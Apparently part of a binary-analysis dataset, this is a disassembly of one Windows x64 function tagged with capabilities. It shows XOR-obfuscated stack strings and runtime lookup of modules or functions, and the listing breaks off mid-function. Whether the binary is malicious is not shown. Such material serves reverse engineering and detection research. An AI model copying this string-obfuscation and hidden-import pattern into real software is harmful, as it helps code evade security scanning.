Function at 0x140025ec0
Capabilities:
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8b90]
mov eax, 0x8c90
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0x8c80], xmm6
movaps xmmword [rsp + 0x8c70], xmm7
movaps xmmword [rsp + 0x8c60], xmm8
movaps xmmword [rsp + 0x8c50], xmm9
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x8b40], rax
mov qword [rbp + 0x300], rdx
mov r12, rcx
movabs rax, 0x39d4293d5eff45c
mov qword [rbp - 0x50], rax
movabs rax, 0x1dc1f5f1a6139826
mov qword [rbp - 0x48], rax
movabs rax, 0x4212420862e541e
mov qword [rbp - 0x40], rax
movabs rcx, 0x16939138f022148c
mov qword [rbp - 0x38], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x3f342e1d58af437
mov qword [rbp - 0x10], rax
movabs rax, 0x1df3f5c2a67f9843
mov qword [rbp - 8], rax
movabs rax, 0x44d244c864a5430
mov qword [rbp], rax
mov qword [rbp + 8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x1120], xmm0
movdqa xmm1, xmmword [rbp]
pxor xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp + 0x1130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1150], xmm3
lea rax, [rbp + 0x5620]
lea rcx, [rbp + 0x1120]
mov ebx, 3
mov edx, ebx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140025ff0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x5620]
mov rdx, r12
lea rcx, [rbp + 0x63f0]
call fcn.140051d50
mov rdi, qword [rax + 0x18]
test rdi, rdi
jne 0x140026114
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe0000000200053ba
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movdqa xmmword [rbp + 0x460], xmm0
xor r9d, r9d
lea r8, [rbp + 0x460]
lea rdx, str.kernel32.dll____Not_Found_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
mov rcx, qword [rbp + 0x8b40]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x8c90]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movabs rax, 0x1bb5fe8a43caca45
mov qword [rbp + 0x8610], rax
movabs rax, 0x12640ed82dcfc7e1
mov qword [rbp + 0x8618], rax
movabs rax, 0x70aa70a125c1ed7
mov qword [rbp + 0x8620], rax
movabs rcx, 0x2053cd2a18c3d6a
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x1bc1fef843a9ca30
mov qword [rbp + 0x8650], rax
movabs rax, 0x12010eab2daec783
mov qword [rbp + 0x8658], rax
movabs rax, 0x766a76612381ef9
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x57c0]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400261f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x57c0]
mov rdx, r12
lea rcx, [rbp + 0x6828]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14002641e
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe00000002000542f
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movdqa xmmword [rbp + 0x470], xmm0
movabs rax, 0x107692178d5d5835
mov qword [rbp + 0x8610], rax
movabs rax, 0x3980e65db30fffaa
mov qword [rbp + 0x8618], rax
movabs rax, 0x976fd8736ff3363
mov qword [rbp + 0x8620], rax
movabs rax, 0x7b011663ff9172e3
mov qword [rbp + 0x8628], rax
movabs rax, 0x7505f375f92f3b40
mov qword [rbp + 0x8650], rax
movabs rax, 0x62a0cb7ddf639b84
mov qword [rbp + 0x8658], rax
movabs rax, 0x670392c1168b5c2d
mov qword [rbp + 0x8660], rax
movabs rax, 0x7b011663ff912f87
mov qword [rbp + 0x8668], rax
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x5b00]
lea rcx, [rbp + 0x40]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400263a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x470]
lea rdx, [rbp + 0x5b00]
jmp 0x1400260cc
movabs rax, 0x1acabf51a44ad745
mov qword [rbp + 0x8610], rax
movabs rax, 0x136ab50a513b8c16
mov qword [rbp + 0x8618], rax
movabs rax, 0x3e1ce01ca
mov qword [rbp + 0x8620], rax
movabs rcx, 0x5b5cf20c00a
mov qword [rbp + 0x8628], rcx
movabs rax, 0x1ab8bf34a439d730
mov qword [rbp + 0x8650], rax
movabs rax, 0x130eb52451098c25
mov qword [rbp + 0x8658], rax
movabs rax, 0x3e1a201a6
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x41a0]
lea rcx, [rbp + 0x40]
mov r13d, 2
mov edx, r13d
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400264f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x41a0]
mov rdx, r12
lea rcx, [rbp + 0x6c60]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14002671f
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe000000020006bfc
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x4d0], xmm0
movabs rax, 0xd8c1b41d2f1cb57
mov qword [rbp + 0x8610], rax
movabs rax, 0x3b915f0108c3d26
mov qword [rbp + 0x8618], rax
movabs rax, 0x19404bd4df310357
mov qword [rbp + 0x8620], rax
movabs rcx, 0x52da9c757b3c5df4
mov qword [rbp + 0x8628], rcx
movabs rax, 0x69a22972a094b822
mov qword [rbp + 0x8650], rax
movabs rax, 0x6cf74ed03dac514a
mov qword [rbp + 0x8658], rax
movabs rax, 0x442425a1b0772323
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x5300]
lea rcx, [rbp + 0x40]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400266b1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x4d0]
lea rdx, [rbp + 0x5300]
jmp 0x1400260cc
movabs rax, 0x128d653bd7e99ace
mov qword [rbp + 0x8610], rax
movabs rax, 0x83ed65863062446
mov qword [rbp + 0x8618], rax
movabs rax, 0x37cf6dcf6bace
mov qword [rbp + 0x8620], rax
movabs rcx, 0xb678cd76762a429
mov qword [rbp + 0x8628], rcx
movabs rax, 0x12ee6556d79e9aaa
mov qword [rbp + 0x8650], rax
movabs rax, 0x810d63d63742429
mov qword [rbp + 0x8658], rax
movabs rax, 0x37c9adc9abaaa
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x4a00]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400267f0
lea r8, [rbp + 0x4a00]
mov rdx, r12
lea rcx, [rbp + 0x7098]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x230], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x140026a06
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe00000002000635c
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x480], xmm0
movabs rax, 0xbfce2bdc986a0f7
mov qword [rbp + 0x8610], rax
movabs rax, 0x722e06e6a34c0941
mov qword [rbp + 0x8618], rax
movabs rax, 0x6091cfb24fbc6d0
mov qword [rbp + 0x8620], rax
movabs rax, 0x772c98bde6e75daf
mov qword [rbp + 0x8628], rax
movabs rax, 0x259990d2aaebd793
mov qword [rbp + 0x8650], rax
movabs rax, 0x3c7526cb83206525
mov qword [rbp + 0x8658], rax
movabs rax, 0x6267699462dbb2bf
mov qword [rbp + 0x8660], rax
movabs rax, 0x772c98bde6e75df2
mov qword [rbp + 0x8668], rax
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x5960]
lea rcx, [rbp + 0x40]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140026990
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x5960]
jmp 0x1400260cc
movabs rax, 0x1e6e5c70d1e2481
mov qword [rbp + 0x8610], rax
movabs rax, 0x15e15e6b3fa72f39
mov qword [rbp + 0x8618], rax
movabs rax, 0x1fffffffe004c7c1
mov qword [rbp + 0x8620], rax
movabs rcx, 0xe00000001ffb3081
mov qword [rbp + 0x8628], rcx
movabs rax, 0x1d5e5ae0d7a24c6
mov qword [rbp + 0x8650], rax
movabs rax, 0x158d5e0f3f892f0b
mov qword [rbp + 0x8658], rax
movabs rax, 0x1fffffffe004c7ad
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x3920]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026ad0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3920]
mov rdx, r12
lea rcx, [rbp + 0x74d0]
call fcn.140051d50
mov rsi, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rsi, rsi
jne 0x140026ce8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe0000000200078dc
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x490], xmm0
movabs rax, 0x14164154497176b8
mov qword [rbp + 0x8610], rax
movabs rax, 0x1ab08de978b99fb4
mov qword [rbp + 0x8618], rax
movabs rax, 0x1e24419f205a4ba8
mov qword [rbp + 0x8620], rax
movabs rcx, 0x19a31ab4e770e0a6
mov qword [rbp + 0x8628], rcx
movabs rax, 0x78726f667a1812ff
mov qword [rbp + 0x8650], rax
movabs rax, 0x6edfc3b25894bfd8
mov qword [rbp + 0x8658], rax
movabs rax, 0x1e7925f155350d88
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x4b80]
lea rcx, [rbp + 0x40]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140026c80
xor r9d, r9d
lea r8, [rbp + 0x490]
lea rdx, [rbp + 0x4b80]
jmp 0x1400260cc
movabs rax, 0x5e274dbf6e89604
mov qword [rbp + 0x8610], rax
movabs rax, 0x17211e899fff99cb
mov qword [rbp + 0x8618], rax
movabs rax, 0x1fffffffe00445de
mov qword [rbp + 0x8620], rax
movabs rcx, 0xe00000001ffbdc90
mov qword [rbp + 0x8628], rcx
movabs rax, 0x58e74bff69c964a
mov qword [rbp + 0x8650], rax
movabs rax, 0x174d1eed9fd199a7
mov qword [rbp + 0x8658], rax
movabs rax, 0x1fffffffe00445b2
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x3a60]
lea rcx, [rbp + 0x40]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026db0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3a60]
mov rdx, r12
lea rcx, [rbp + 0x7908]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x30], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x140026fc8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe00000002000726f
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x4a0], xmm0
movabs rax, 0x1217310a15051e0d
mov qword [rbp + 0x8610], rax
movabs rax, 0xa580e006886ee08
mov qword [rbp + 0x8618], rax
movabs rax, 0xa3c06619e614ae8
mov qword [rbp + 0x8620], rax
movabs rcx, 0x19f435fbb6a61a60
mov qword [rbp + 0x8628], rcx
movabs rax, 0x7e731f6679616a43
mov qword [rbp + 0x8650], rax
movabs rax, 0x7e37405b48abce64
mov qword [rbp + 0x8658], rax
movabs rax, 0xa61620feb0e0cc8
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x4d00]
lea rcx, [rbp + 0x40]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140026f60
xor r9d, r9d
lea r8, [rbp + 0x4a0]
lea rdx, [rbp + 0x4d00]
jmp 0x1400260cc
movabs rax, 0xe1ec003608e019b
mov qword [rbp + 0x8610], rax
movabs rax, 0x16c0a0a73b3e3816
mov qword [rbp + 0x8618], rax
movabs rax, 0x8cc7cec74
mov qword [rbp + 0x8620], rax
movabs rcx, 0x5bac7112f65
mov qword [rbp + 0x8628], rcx
movabs rax, 0xe7dc07560fd01f6
mov qword [rbp + 0x8650], rax
movabs rax, 0x16a4a0893b4a3864
mov qword [rbp + 0x8658], rax
movabs rax, 0x8cc10ec18
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x4300]
lea rcx, [rbp + 0x40]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
